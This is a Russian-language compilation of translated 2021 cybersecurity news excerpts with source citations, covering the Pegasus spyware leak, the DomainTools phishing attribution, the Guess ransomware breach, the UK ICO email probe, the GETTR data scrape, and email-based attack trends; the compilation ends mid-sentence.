Наличие номера телефона в данных не показывает, было ли устройство заражено Pegasus или подверглось попытке взлома. Тем не менее, консорциум считает, что эти данные указывают на потенциальные цели, которые государственные клиенты NSO определили до возможных попыток слежки». ***(Stephanie Kirchgaessner, Paul Lewis, David Pegg,Sam Cutler,Nina Lakhani and Michael Safi. Revealed: leak uncovers global abuse of cyber-surveillance weapon // The Guardian (https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus). 18.07.2021).***

***

«Исследователи DomainTools обнаружили группу сайтов сбора учетных данных, маскирующихся под сайты регистрации в соответствии с Законом о американском плане спасения для тех, кто хочет получить свою федеральную помощь. Используя историческую информацию WHOIS и методы OSINT, компания DomainTools приписала эту кампанию нигерийской компании по веб-разработке GoldenWaves Innovations. В этой статье исследователи DomainTools рассмотрят приемы и методы, используемые для перечисления этих веб-сайтов и связанной с ними атрибуции со средним или высоким уровнем достоверности.

11 марта 2021 года президент Джо Байден подписал Закон об американском плане спасения. Законопроект о помощи при пандемии COVID-19 был разработан, чтобы обеспечить немедленную помощь в размере 1400 долларов работающим семьям, выплатить экстренный оплачиваемый отпуск более чем 100 миллионам американцев, а также расширить налоговые льготы на детей среди ряда других грантов и компонентов для помощи с другими дефицитами бюджета. С тех пор, как этот закон был подписан, исследователи DomainTools отслеживали новые регистрации доменов, нацеленных на получателей помощи. К сожалению, многие получатели помощи не знают, что эта помощь будет автоматически назначена им IRS, поэтому мошенники используют это как возможность получить номера социального страхования и фотографии водительских прав для использования в краже личных данных.

Первоначальным доменом, найденным исследователями DomainTools, был Reliefcarefunds [.] Com, который содержал вышеуказанную форму заявки с типичной загрузкой в пункт назначения PHP в том же домене. Однако в коде был скрыт комментарий о том, что страница была зеркалирована с сайта americaforgivenrelieffund [.] Com, а также со страницы контактов, которая также была отправлена сценарию PHP в этом домене. Имея доказательства наличия большего количества доменов, исследователи DomainTools взглянули на архитектуру, стоящую за страницами, на предмет сходства. Как известно читателям этого блога, DomainTools является ярым сторонником метода составных объектов для построения индикаторов, и, изучив эти две страницы, мы смогли увидеть, что их объединяет:

Регистрация через NameCheap

Содержит подстроку «рельеф»

Содержит подстроку «eric», как в Америке, или подстроку «care» Регистрация после подписания законопроекта 11 марта 2021 г.

Хостинг на хостинговой инфраструктуре NameCheap

В поисках этого композита в DomainTools Iris Investigate исследователи DomainTools обнаружили 39 потенциальных доменов и адреса электронной почты, связанные с некоторыми из них: goldenwaves247 @ gmail [.] Com. Чтобы подтвердить сходство, мы использовали URLScan для поиска в списке доменов, обнаруженных при сканировании, выполненном другими пользователями, которые встречались с этими доменами за последний месяц. Неудивительно, что это выявило дополнительный набор доменов с идентичной структурой исходной фишинг-страницы, датируемой почти ровно месяцем.

Этот список доменов предоставил еще один набор важной информации. Во-первых, исследователи DomainTools смогли увидеть, что некоторые из этих ссылок были проданы ссылками, сокращающими ссылки Bitly. В Bitly добавление «+» к любой сокращенной ссылке дает некоторые данные об этой ссылке. В этом случае мы могли видеть, что сокращение было создано в 16:30 по всемирному координированному времени 5 июня 2021 года с особым названием «Страхование по безработице во время вспышки COVID-19 | Закон о американском плане спасения», который соответствует названиям других клонированных страниц.

Мы также можем сказать, что многие из клонированных страниц на момент их сканирования не размещались исключительно на сервисах хостинга сайтов NameCheap, но также были активны как на Garanntor (AS328110), так и на OVH (AS16276). Это позволило набору элементов, которые мы ищем:

Регистрация через NameCheap

Содержит подстроку «рельеф»

Содержит подстроку «eric», как в America, или подстроку «care»

Регистрация после подписания законопроекта 11 марта 2021 г.

Хостинг на инфраструктуре хостинга NameCheap (AS22612), Garanntor (AS328110) или OVH (AS16276)

Затем было выявлено в общей сложности 47 доменов, соответствующих нашим критериям, включая самый старый домен на сходствах страниц URLScan и самый старый домен в наших критериях поиска theamericaforgivenrelief [.] Com с адресом электронной почты регистранта onostboy1 @ gmail [.] Com и неотредактированной записью WHOIS размещение регистранта в Ибадане, Нигерия. Затем при поиске по этому имени пользователя открывается профиль в социальной сети Eskimi веб-разработчика, связанный с Twitter-дескриптором @onostboy с именем Tosyno из Ибадана, Нигерия. Город Ибадан - небольшой сельский городок, который выделяет регистрационную информацию, поскольку почти всегда технические контакты для нигерийских доменов находятся в Лагосе, столице и технологическом центре. Дополнительные поисковые запросы выявляют то же имя пользователя, участвующее в продажах на форумах о киберпреступлениях, играх в Steam и других социальных сетях.

Обращение к предыдущему адресу goldenwaves247@ gmail.com, который был обнаружен, показывает ряд доменов, включая сайты брендов Dasani, Fiji и Mountain Dew, которые, похоже, набирают людей для различных рекламных программ в обмен на деньги, поддельный сайт банка Великобритании в natwestukbank [.] com, и, наконец, сайт с доменом goldenwavesng [.] com, который содержал электронную почту в исторических записях WHOIS до закрытия в конце 2018 года. Это сайт GoldenWaves Innovations, технологической компании, базирующейся в Ибадане, Нигерия которую исследователи DomainTools со средней степенью уверенности считают законной фирмой по веб-дизайну перед сайтами по сбору документов, удостоверяющих личность.

Читая информацию на странице GoldenWaves Innovations, мы видим, что они утверждают, что зарегистрированы в Комиссии по корпоративным делам (CAC) правительства Нигерии. При поиске названия этой компании на ng-check [.] Com, сайте для запроса информации о CAC, мы видим, что GoldenWaves Innovation

действительно имеет действующую регистрацию вместе с именем генерального директора компании, которое совпадает с данными WHOIS и который утверждает, что он генеральный директор компании в LinkedIn. Хотя компания была зарегистрирована в феврале 2016 года, в настоящее время их регистрация неактивна.

Кроме того, историческая запись WHOIS обнаруживает адрес в Нью-Йорке, штат Нью-Йорк, по адресу 120 E 87th Street. Это многоквартирный дом с квартирами от 900 000 до 13 000 000 долларов в центре Манхэттена. Хотя поначалу это кажется странным для компании, базирующейся в Нигерии, мы видим из LinkedIn, что один из разработчиков компании утверждает, что живет в Нью-Йорке.

Просматривая текущую контактную информацию генерального директора в LinkedIn, мы видим, что у GoldenWaves Innovations есть новый веб-сайт в goldenwaves [.] Com [.] Ng, который также привязан к тому же адресу электронной почты и регистрационной информации. Это дает исследователям DomainTools высокую уверенность в том, что все эти сайты сбора учетных данных связаны с GoldenWaves Innovations в Нигерии. Об этих сайтах, а также обо всех появившихся новых сайтах сообщалось в Google Safe Browsing для блокировки.

Выводы

Кампании по сбору учетных данных по-прежнему являются для злоумышленников эффективным способом получения законных юридических документов, которые они затем могут перепродавать или использовать для более изощренного поведения. При поиске федеральной помощи наиболее нуждающиеся могут не всегда полностью осознавать, как эта помощь распределяется. В случае Закона о американском плане спасения деньги поступали напрямую от IRS, но, тем не менее, ничего не подозревающие жертвы могли быть вынуждены загрузить свои документы, удостоверяющие личность, на один из этих сайтов.

Исследователи DomainTools рекомендуют командам безопасности использовать внутренний пассивный мониторинг DNS, чтобы предупреждать их о новых доменах с возрастом менее 90 дней, которые отвечают IP-адресами в ASN облачных провайдеров. Это наиболее эффективный способ обнаружить эти домены в вашей собственной сети. Что касается конечных пользователей, DomainTools рекомендует:

Сообщать о сайте в службу безопасного просмотра Google, если вы натолкнетесь на такой сайт, чтобы он был заблокирован как можно скорее во всех основных браузерах.

Сообщение о вредоносном сайте вашей группе безопасности вместе с фишинговым письмом, которое пришло с ним, поскольку может быть кампания, нацеленная на ваших сотрудников.

Никогда не загружайте свои документы на веб-сайт, на который вы не вошли, особенно на сайт, претендующий на статус федерального, без доменного имени.gov…» ***(Chad Anderson. American Rescue Plan Act Lures in the Wild // DomainTools (https://www.domaintools.com/resources/blog/american-rescue-plan-act-lures-in-the-wild). 13.07.2021).***

***

«Модный бренд Guess за миллиард долларов разослал письма неизвестному количеству людей, информацию о которых они потеряли во время атаки вымогателя в феврале.

В письмах, впервые опубликованных Серджиу Гатланом из Bleeping Computer, говорится, что «несанкционированный доступ» к определенным системам Guess в период со 2 февраля 2021 года по 23 февраля 2021 года привел к нарушению номеров социального страхования, номеров водительских прав, номеров паспортов и финансовых данных. номера счетов.

Письма, подписанные старшим директором Guess по персоналу Сьюзан Тенни, были отправлены только четырем жителям штата Мэн, в соответствии с правилами штата, но компания подразумевала, что пострадали больше людей.

В заявлении для ZDNet представитель Guess не стал отвечать на вопросы о количестве жертв, только сказав, что «информация о платежных картах клиентов не использовалась».

Представитель Guess не подтвердил, было ли нарушение частью атаки программы-вымогателя, но компания появилась на сайте утечки данных жертв группы вымогателей DarkSide в апреле, и группа открыто хвасталась кражей 200 ГБ данных у модного бренда во время атаки. нападение в феврале.

«Guess, Inc. недавно завершила расследование инцидента безопасности, связанного с несанкционированным доступом к определенным системам в сети Guess Inc.». Мы привлекли независимые фирмы по кибербезопасности для оказания помощи в расследовании, уведомили правоохранительные органы, уведомили группу - сотрудники и подрядчики, чья информация была задействована, и предприняли шаги для повышения безопасности наших систем », - сообщил ZDNet пресс-секретарь.

«В ходе расследования было установлено, что информация о платежных картах клиентов не использовалась. Этот инцидент не оказал существенного влияния на наши операции или финансовые результаты».

В апреле член DarkSide поговорил с репортером Databreaches.net, сообщив сайту, что они изучили финансовые отчеты Guess и знают, что в прошлом году компания принесла почти 2,7 миллиарда долларов дохода.

«Мы рекомендуем использовать вашу страховку, которая покрывает только этот случай. Она принесет вам в четыре раза больше, чем вы потратите на приобретение такого ценного опыта», - сказал представитель DarkSide в сообщениях, переведенных с русского языка.

«Мы действуем поэтапно и обычно уведомляем прессу, когда точно уверены, что компания не будет платить. Что касается [Guess и другой компании, которую они назвали] - я думаю, пресса их увидит».

DarkSide прекратил свою деятельность в мае после того, как их нападение на Colonial Pipeline вызвало международное осуждение и усиленное внимание правоохранительных органов.

В своем письме жертвам Guess сообщила, что только недавно завершила расследование инцидента, связанного с кибербезопасностью, который, по их словам, был «разработан для шифрования файлов и нарушения бизнес-операций».

Их служба безопасности обнаружила инцидент 19 февраля, но поняла, что киберпреступники были в их системе до 23 февраля. Потребовалось время до 26 мая, чтобы компания подтвердила, что личная информация «определенных лиц» была получена или получена неавторизованным субъектом.

Компания подождала до 9 июля, чтобы начать рассылку уведомлений пострадавшим. Как и большинство компаний, Guess предлагает жертвам один год услуг по кредитному мониторингу и защите от кражи личных данных от Experian.

Компания Guess также сообщила, что открыла колл-центр для людей, у которых есть вопросы об инциденте, или тех, кто заинтересован в предоставлении услуг кредитного мониторинга.

Эрих Крон, специалист по безопасности в KnowBe4, отметил, что это пример длинного хвоста атак программ-вымогателей.

«Хотя группа программ-вымогателей Darkside вышла из строя, это не означает, что это нарушение является незначительным. Значительный объем и очень личные типы данных, собираемых организацией, включая номера паспортов, номера социального страхования, номера водительских прав, финансовый счет и «/ или номера кредитных / дебетовых карт с кодами безопасности, паролями или PIN-кодами - это чрезвычайно ценный набор данных для киберпреступников, если они хотят украсть личные данные», - сказал Крон.

«По этой причине, в отличие от этого случая, организации поступают мудро, ограничивая объем данных, которые хранятся и хранятся в системах». ***(Jonathan Greig. Guess announces breach of employee SSNs and financial data after DarkSide ransomware attack // ZDNet (https://www.zdnet.com/article/guess-announces-breach-of-employee-ssns-and-financial-data-after-darkside-attack/). 13.07.2021).***

***

«Офис Комиссара по информации Великобритании (ICO) начал расследование ненадлежащего использования частных электронных писем и каналов связи государственными чиновниками.

После внезапного ухода Мэтта Хэнкока из-за нарушения правил социального дистанцирования возникли опасения, что бывший министр здравоохранения, а также министр лорд Бетелл потенциально вели правительственный бизнес через ненадлежащие каналы, включая личные учетные записи электронной почты.

Расследование может также включать другие онлайн-формы общения, такие как WhatsApp.

Элизабет Денхэм, комиссар по информации Великобритании, заявила 6 июля, что служба защиты данных в настоящее время расследует деятельность Министерства здравоохранения и социального обеспечения, обозначив предположение, что официальные лица используют эти учетные записи для «конфиденциальных официальных дел», как «вызывающие беспокойство».

«Общественность беспокоит то, что может произойти потеря прозрачности в отношении решений, влияющих на них и их близких», - прокомментировал Денхэм. «И меня, как регулятора законов о защите данных и свободе информации, это беспокоит».

Комиссар по информации теперь разослал официальные уведомления об отделе и других лицах, которые могут быть связаны с расследованием, запросом информации и сохранением доказательств.

В ходе расследования ICO будет предпринята попытка установить, использовали ли государственные чиновники частные каналы переписки в своих ролях таким образом, чтобы это нарушало положения о свободе информации или законы о защите данных.

Согласно ICO, прозрачность имеет решающее значение для демократических принципов - и когда правительство в течение 18 месяцев принимало решения, которые сильно повлияли на нашу жизнь, нельзя упускать из виду необходимость поддерживать стандарты безопасности.

Денхэм сказал, что после национального кризиса и с учетом того, что собственный Кодекс поведения правительства устанавливает четкие руководящие принципы по защите данных, «люди могут понять и доверять им благодаря прозрачности и объяснению этих решений».

«Использование частных каналов переписки само по себе не нарушает свободу информации или правила защиты данных», - сказала она. "Но меня беспокоит то, что информация в личных учетных записях электронной почты или службах обмена сообщениями забывается, игнорируется, удаляется автоматически или иным образом становится недоступной, когда позже делается запрос о свободе информации. Это подрывает свободу информационного процесса и ставит под угрозу сохранение официальные отчеты о принятии решений».

После завершения результаты расследования будут опубликованы.

ICO может предпринять различные действия в зависимости от результатов расследования. Сюда могут входить простые рекомендации по передовой практике и уведомления о принудительном исполнении вплоть до уголовного преследования - перспектива, которая может быть рассмотрена, если есть какие-либо доказательства того, что «информация была умышленно уничтожена, изменена или скрыта после того, как она была запрошена в соответствии со свободой информации…».

Денхэм говорит, что она «не будет комментировать дальше до завершения нашей следственной работы». ***(Charlie Osborne. UK Information Commissioner launches probe into private email use at Department of Health // ZDNet (https://www.zdnet.com/article/uk-information-commissioner-launches-probe-into-private-email-use-at-department-of-health/). 07.07.2021).***

***

«Согласно расследованию Washington Post и 16 медиа-партнеров, шпионское ПО военного уровня, лицензированное израильской фирмой, использовалось в попытках и успешных попытках взлома смартфонов, принадлежащих журналистам и правозащитникам.

В общей сложности 37 телефонов, в том числе принадлежащие двум женщинам, близким к убитому саудовскому журналисту Джамалу Хашогги, были атакованы с помощью шпионского ПО, лицензированного израильской фирмой NSO Group правительствам для отслеживания террористов и преступников, как

выяснило следствие. Эти телефоны были включены в список из более чем 50 000 номеров, сосредоточенных в странах, которые, как известно, проводят слежку за своими гражданами.

Список был предоставлен новостным организациям парижской журналистской некоммерческой организацией Forbidden Stories и правозащитной группой Amnesty International. Расследование, получившее название «Проект Пегас», включало судебно-медицинский анализ телефонов. Цифры в списке неизвестны, но исследователи смогли идентифицировать более 1000 человек в более чем 50 странах.

«Проект «Пегас» показывает, как шпионское ПО NSO является предпочтительным оружием репрессивных правительств, стремящихся заставить замолчать журналистов, атаковать активистов и подавить инакомыслие, подвергая опасности бесчисленные жизни», - заявила в своем заявлении генеральный секретарь Amnesty International Агнес Калламар.

«Хотя компания утверждает, что ее шпионское ПО используется только для законных уголовных расследований и расследований терроризма, очевидно, что ее технология способствует систематическим злоупотреблениям», - сказал Калламард.

Amnesty International проанализировала 67 телефонов, которые были подозреваемыми целями, 23 из которых были признаны зараженными, а 14 показали доказательства попытки проникновения, согласно расследованию.

Список, составленный с 2016 года, включает репортеров, работающих за границей в нескольких ведущих новостных организациях, в том числе небольшое количество из CNN, Associated Press, The Voice of America, The New York Times, The Wall Street Journal, Bloomberg News, Le Monde. во Франции, Financial Times в Лондоне и Al Jazeera в Катаре.

Сообщается, что в списке также были главы государств и премьер-министры.

NSO Group заявила, что отчет Forbidden Stories содержит «ложные обвинения» и «вводящие в заблуждение обвинения».

«Отчет Forbidden Stories полон неверных предположений и неподтвержденных теорий, которые вызывают серьезные сомнения в надежности и интересах источников», - говорится в заявлении представителя NSO Group. «Похоже, что «неустановленные источники» предоставили информацию, которая не имеет фактической основы и далеки от реальности».

В предыдущих отчетах и судебных исках NSO Group была причастна к другим взломам, включая сообщение о взломе основателя Amazon Джеффа Безоса в 2018 году. В 2018 году саудовский диссидент подал в суд на компанию за ее предполагаемую роль во взломе устройства, принадлежащего журналисту Хашогги, который был убит в посольстве Саудовской Аравии в Турции в том же году.

Журналисты и активисты из Мексики и Катара также подали в суд на компанию за предоставление инструментов для взлома их устройств. В январском отчете Citizen Lab говорится, что журналист New York Times, писавший о саудовском диссиденте, получил на свой телефон в 2018 году ссылку, содержащую хакерский инструмент NSO Group». ***(Steven Musil. Military-grade spyware reportedly found on phones of journalists, activists // CNET, A RED VENTURES COMPANY***

(https://www.cnet.com/tech/services-and-software/military-grade-spyware-reportedly-found-on-phones-of-journalists-activists/). 18.07.2021).

***

«Представитель израильской компании по кибербезопасности NSO Group заявил в среду, что скандальный шпионский инструмент компании Pegasus не использовался против президента Франции Эммануэля Макрона.

Комментарии прозвучали, когда «Репортеры без границ» (RSF) призвали Израиль приостановить экспорт шпионских технологий после того, как главы государств, в том числе г-н Макрон, и множество журналистов и правозащитников были включены в список предполагаемых целей, выбранных для потенциального наблюдения.

Мы можем «специально выступить и сказать наверняка, что президент Франции Макрон не был мишенью», - заявил в интервью телеканалу i24 News Хаим Гельфанд, директор по комплаенсу в NSO Group.

Но он также сослался на «некоторые поднятые дела, которые нам не очень нравятся», отметив, что в таких обстоятельствах фирма «обычно обращается к заказчику и ведет долгую дискуссию... чтобы попытаться понять, каковы были его законные причины, если есть, использовать систему».

Комментарии г-на Гельфанда транслировались в тот же день, когда глава RSF Кристоф Делуар призвал премьер-министра Израиля Нафтали Беннета «немедленно наложить мораторий на экспорт технологий наблюдения до тех пор, пока не будет создана защитная нормативная база».

Звонок г-на Делуара поступил после того, как просочился список из примерно 50 000 телефонных номеров, которые, как считается, были выбраны клиентами NSO Group. В эти числа якобы входили Макрон и еще 13 глав государств.

Pegasus может взламывать мобильные телефоны без ведома пользователя, позволяя клиентам читать каждое сообщение, отслеживать местоположение пользователя и подключаться к камере и микрофону телефона.

КОНТРАКТЫ С 45 СТРАНАМИ

NSO имеет контракты с 45 странами и заявляет, что министерство обороны Израиля должно одобрить их сделки. Компания не идентифицирует своих клиентов.

Однако правозащитная группа Amnesty International и базирующаяся в Париже организация Forbidden Stories, получившая список, заявили, что в число клиентов NSO входят Бахрейн, Индия, Мексика, Марокко, Руанда и Саудовская Аравия.

Сообщения СМИ, включая The Guardian, Le Monde и The Washington Post, показали, что в списке было около 200 журналистов из организаций, включая AFP.

«Предоставление правительствам возможности установить шпионское ПО, которое используется на практике для мониторинга сотен журналистов и их источников по всему миру, представляет собой серьезную демократическую проблему», - сказал г-н Делуар.

Официальные представители Беннета и министра обороны Бенни Ганца не ответили на вопросы AFP в среду.

NSO, гигант израильских технологий, базируется в Герцлии к северу от Тель-Авива и насчитывает 850 сотрудников.

39-летний генеральный директор компании Шалев Хулио в интервью израильскому радио 103FM во вторник отрицал, что его компания занимается массовой слежкой.

Он сказал, что NSO «не имеет никакого отношения» к списку из тысяч телефонных номеров.

В среду Беннетт на киберконференции в Тель-Авиве рассказал о технологических достижениях Израиля.

«Из каждых 100 долларов США, вложенных в киберзащиту во всем мире, 41 доллар США был вложен в израильские фирмы по киберзащите», - сказал он.

«Мы как правительство, мы как нация должны защищать себя», - добавил г-н Беннет.

Он предположил, что глобальный интерес к израильским технологиям остается устойчивым, заявив, что «десятки стран» подписали меморандумы о приобретении израильских средств защиты от кибератак.

В дополнительном заявлении в среду NSO утверждалось, что фирма стала жертвой «порочной и клеветнической кампании» и что она больше не будет отвечать на вопросы СМИ.

«Любое утверждение, что имя в списке обязательно связано с целью Пегаса или потенциальной цели Пегаса, ошибочно и ложно», - говорится в сообщении.

«NSO - технологическая компания. Мы не эксплуатируем систему и не имеем доступа к данным наших клиентов, но они обязаны предоставлять нам такую информацию в рамках расследования», - добавили в компании.

Во вторник г-н Ганц заявил, что Израиль разрешает экспорт технологий только правительствам «исключительно в целях предотвращения и расследования преступлений и терроризма».

Он сказал, что Израиль «изучает» недавние публикации по этому вопросу». ***(Israel firm NSO says Macron not targeted by Pegasus spyware // SINGAPORE PRESS HOLDINGS LTD (https://www.businesstimes.com.sg/government-economy/israel-firm-nso-says-macron-not-targeted-by-pegasus-spyware). 22.07.2021).***

***

«Французские законодатели начали расследование в отношении израильской компании NSO Group, занимающейся кибербезопасностью, после того, как узнали, что президент Франции Эммануэль Макрон возглавил список из 14 глав государств, потенциально являющихся объектами шпионского ПО компании.

Amnesty International заявила во вторник, что французский лидер был потенциальной целью шпионского ПО, наряду с президентами Имраном Ханом из Пакистана, Сирилом Рамафосой из Южной Африки и Бархамом Салихом из Ирака. Главы государств, в том числе премьер-министры и король Марокко Мохаммед VI,

также были крупными потенциальными целями программного обеспечения NSO, известного как Pegasus.

«Беспрецедентное разоблачение... должно вызвать мурашки по спине мировых лидеров», - написала Агнес Калламард, генеральный секретарь Amnesty International, в заявлении.

Мировые лидеры были потенциальными целями, согласно списку из 50 000 телефонных номеров, которые, как считается, связаны с NSO Group и просочились в Amnesty International и базирующуюся в Париже журналистскую некоммерческую организацию Forbidden Stories. Предполагается, что этот обширный список датируется 2016 годом и включает людей, интересующихся клиентами NSO.

В воскресенье консорциум из 17 медиа-партнеров опубликовал сногсшибательный отчет, проливший свет на то, что, по их мнению, является системным и широко распространенным использованием шпионского ПО Pegasus иногда репрессивными режимами против правозащитников, политических диссидентов, журналистов, религиозных и мировых лидеров.

Франция возмущена

Французская ежедневная газета Le Monde сообщила, что после того, как она начала собственное расследование утечки данных NSO, она определила, что 15 членов французского правительства могли быть среди потенциальных целей, наряду с Макроном.

В среду прокуратура Парижа подтвердила Associated Press, что расследует предполагаемое широкое использование шпионского ПО Pegasus от NSO против французских политиков. The Washington Post также сообщила, что премьер-министр Франции Жан Кастекс сообщил французским законодателям в Национальном собрании страны, что правительство приказало провести расследование.

The Post опубликовала заявление официальной резиденции президента Французской Республики Елисейский дворец, в котором говорится:

«Если факты подтверждаются, они явно очень серьезны. Весь свет будет пролен на эти разоблачения прессы. Некоторые французские жертвы уже заявили, что обратятся в суд, и поэтому будет начато судебное расследование».

Основатель NSO отрицает обвинения

В эксклюзивном интервью изданию Calcalist основатель и генеральный директор NSO Шалев Хулио заявил, что список из 50 000 телефонных номеров, потенциально являющихся мишенью для шпионского ПО Pegasus, является подделкой.

«Это составленный список, не имеющий отношения к нам», - сказал Хулио.

Заявление Хулио Калкалисту гласит:

«Примерно месяц назад мы получили первый запрос от информационного брокера. Он сказал, что на рынке есть список, и тот, кто его держит, говорит, что серверы NSO на Кипре были взломаны и что там есть список целей, и что мы должны быть осторожны. Мы изучили это. У нас нет серверов на Кипре и таких списков, и число не имеет никакого смысла, поэтому оно не имеет к нам никакого отношения. Он настаивал на том, что это так. Позже к нам обратились два разных

клиента, которые сказали, что к ним приходили брокеры и утверждали, что у них есть список, связанный с NSO. В конце концов мы получили несколько снимков экрана со списком, который удалось получить брокерам, и на основании этого мы поняли, что это не похоже на систему Pegasus, определенно на сервере, и что это спроектированный список, не имеющий отношения к нам. Мы просмотрели его вместе с клиентами, и постепенно нам стало ясно, что это сервер поиска HLR и не имеет ничего общего с NSO. Мы поняли, что это шутка».

Хулио сказал, что он работает с 45 клиентами в год, которые нацелены в среднем на 100 телефонов в год. Он утверждает, что список из 50 000 предполагаемых целей не имеет ничего общего с NSO.

Тем не менее судебно-медицинский анализ 67 телефонов из списка 50 000 показал, что 37 имели следы программного обеспечения Pegasus. Редакторы Amnesty International и Forbidden Stories подчеркнули, что список телефонных номеров не указывает на то, что все эти телефоны подверглись атаке.

Tech World отшатывается от отвращения

Новости о возможном широкомасштабном использовании печально известного мобильного шпионского ПО Pegasus от NSO Group вызвали резкий упрек со стороны специалистов по безопасности. Реакция была разной, многие выражали озабоченность уровнем безопасности в закрытой экосистеме Apple. Согласно сообщениям, NSO Group использовала функцию нулевого дня с нулевым щелчком в функции Apple iMessage в своем мобильном шпионском ПО Pegasus.

Известный криптограф Джонса Хопкинса Мэтью Грин предполагает, что Apple могла бы сделать больше для повышения безопасности своей технологии iMessage.

«Есть веские доказательства того, что Apple понимает, в чем они виноваты, поскольку они пытались исправить iMessage, заблокировав его специализированным «брандмауэром» под названием BlastDoor. Но брандмауэры не особенно успешны в предотвращении целевых сетевых атак, и нет никаких оснований полагать, что BlastDoor будет работать намного лучше. (Действительно, мы знаем, что сейчас он, вероятно, не выполняет свою работу.)», - написал он в недавнем сообщении в блоге, озаглавленном «Дело против нигилизма в сфере безопасности».

В заявлении для Threatpost Amazon заявила, что закрыла учетные записи NSO, которые «подтвердили, что поддерживают заявленную хакерскую активность». Amazon, фигурирующая в отчете Pegasus, заявила, что учетные записи нарушили ее условия использования.

DigitalOcean, другая техническая компания, которая размещала серверы NSO, сообщила Associated Press: «Вся инфраструктура, описанная в отчете Amnesty, больше не находится в DigitalOcean». ***(Tom Spring. French Launch NSO Probe After Macron Believed Spyware Target // Threatpost (https://threatpost.com/french-launch-nso-probe-after-macron-believed-spyware-targe/167986/). 21.07.2021).***

***

«На недавно запущенном социальном сайте GETTR произошла утечка данных после того, как хакер заявил, что использует незащищенный API для

очистки частной информации почти 90 000 участников, а затем поделился этими данными на хакерском форуме.

GETTR - это новая платформа для социальных сетей, поддерживающая Трампа, созданная бывшим советником Трампа Джейсоном Миллером в качестве альтернативы Twitter.

Как впервые увидел Алон Гал, соучредитель и технический директор фирмы Hudson Rock, занимающейся кибербезопасностью, группа хакеров обнаружила незащищенный интерфейс прикладного программирования (API), который позволил им очистить данные для 87 973 участников GETTR.

После сбора информации данные были опубликованы на известном хакерском форуме, который обычно используется для обмена базами данных, украденными во время утечки данных.

Хакер заявляет, что сначала они использовали незащищенный API для очистки данных общедоступных профилей пользователей GETTR, но позже он был защищен.

Однако другой участник хакерского форума обнаружил еще один незащищенный API, который позволял соскабливать общедоступную информацию, а также личный адрес электронной почты и год рождения участника.

Из выборок данных, просмотренных BleepingComputer, извлеченная информация включает адрес электронной почты, псевдоним, имя профиля, год рождения, описания профиля, URL-адрес аватара, фоновые изображения, местоположение, личный веб-сайт и другие внутренние данные сайта.

Хотя большая часть просочившейся информации легко доступна, просто посетив профиль пользователя GETTR, адрес электронной почты, местоположение и год рождения пользователя не являются общедоступными…». ***(Lawrence Abrams. Hacker dumps private info of pro-Trump GETTR social network members // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/hacker-dumps-private-info-of-pro-trump-gettr-social-network-members/). 06.07.2021).***

***

«Учитывая массовый переход на удаленную работу, по электронной почте передается больше важных бизнес-данных, чем когда-либо прежде. Теперь пользователи могут получать сотни писем в день, и их просмотр отнимает много времени и утомляет.

Учитывая такой стремительный рост, неудивительно, что утомление от электронной почты растет. К сожалению, эта усталость увеличивает вероятность того, что пользователи будут нажимать на вредоносное электронное письмо, не зная об этом, - что объясняет, почему 94% вредоносных программ теперь доставляются по электронной почте.

Изучение недавних примеров атак по электронной почте не только гарантирует, что вы знаете о различных способах использования злоумышленниками почтовых ящиков сотрудников, но и является первым шагом к борьбе с растущей угрозой.

Недавние атаки с использованием электронной почты

Хотя спам сейчас считается тактикой старой школы, киберпреступники по-прежнему используют его в злонамеренных целях. Поддельные отписки спам тактика используется преступниками для уточнения своих списков рассылки и проверкой адреса электронной почты. Когда пользователь нажимает на поддельную ссылку в спам-письме, он подтверждает спамеру, что его адрес электронной почты правильный, активный и регулярно проверяется. Отсюда пользователь может быть нацелен на получение большего количества атак по электронной почте с большим количеством вредоносных полезных нагрузок.

На фишинг приходится более 80% зарегистрированных инцидентов безопасности. Яркий пример произошел в мае этого года, когда Nobelium (группа, стоящая за печально известной атакой SolarWinds) использовала фишинговые атаки для распространения вредоносного ПО на 150 различных организаций. Среди других недавних фишинговых атак - центры здравоохранения Five Rivers в Дейтоне, штат Огайо, где 155 000 пациентов получили доступ к защищенной медицинской информации в течение двух месяцев из-за фишинг-атаки по электронной почте. В 2020 году Налоговая и таможенная служба Ее Величества (HMRC) в Великобритании расследовала более 10000 фишинговых мошенничеств, в которых использовались опасения общественности по поводу коронавируса.

Девяносто пять процентов всех атак на корпоративные сети являются результатом успешного целевого фишинга. В ноябре 2020 года соучредитель австралийского хедж-фонда Levitas Capital стал жертвой китобойной атаки, которая является формой целевого фишинга. Хотя атака обошлась компании в 800 000 долларов, что немного меньше первоначально намеченных 8 миллионов долларов, она также привела к потере крупнейшего клиента хедж-фонда. В конце концов, бизнес пришлось закрыть навсегда.

В 2019 году исследование кибербезопасности показало, что 26% организаций во всем мире подвергались от 1 до 10 атакам с целью компрометации электронной почты. Согласно Центру жалоб на Интернет-преступления (IC3) ФБР, мошенничество с BEC было самой дорогой из кибератак в 2020 году: 19 369 жалоб и скорректированные убытки в размере около 1,8 миллиарда долларов. Недавние атаки BEC включают атаки спуфинга на:

Shark Tank Host, Барбара Коркоран, потерявшая 380 000 долларов;

Правительство Пуэрто-Рико, составившее 4 миллиона долларов;

И японский медиагигант Nikkei, который перевел 29 миллионов долларов на основании инструкций в мошенническом электронном письме.

Важность электронной почты в стратегиях злоумышленников

Киберпреступники постоянно совершенствуют свои стратегии электронной почты, играя на эмоциях жертвы: вызывая страх, эксплуатируя жадность, пользуясь любопытством человека, прося о помощи или побуждая пользователей почувствовать сочувствие или сочувствие. Этот подход часто используется злоумышленниками, использующими программу- вымогатель как услугу.

В модели «программа-вымогатель как услуга» банда вредоносных программ предоставляет этим злоумышленникам, называемым распространителями, инструменты для распространения программ-вымогателей, в то время как цель распространителя - заразить как можно больше компьютеров. Это та же модель

распространения, которую используют такие крупные игроки SaaS, как Salesforce.com. Чтобы повысить свою эффективность, киберпреступники теперь используют искусственный интеллект (ИИ) и автоматизацию для масштабирования своих атак по электронной почте.

К сожалению, пользователи не обязательно знают, что их системы заражены. Вредоносное ПО может бездействовать какое-то время или оставаться незамеченным. Устойчивые современные угрозы (APT) остаются незамеченными в среднем 71 день в Северной и Южной Америке, 177 дней в EMEA и 204 дня в APAC.

Учитывая его успех, мы можем ожидать, что киберпреступники по-прежнему будут делать электронную почту звездой в своих стратегиях атак.

Остановка киберугроз по электронной почте

Чтобы остановить или снизить риск атаки, у компании есть три защиты, которые необходимо использовать параллельно:

Постоянное обучение пользователей тому, как выглядят новые атаки

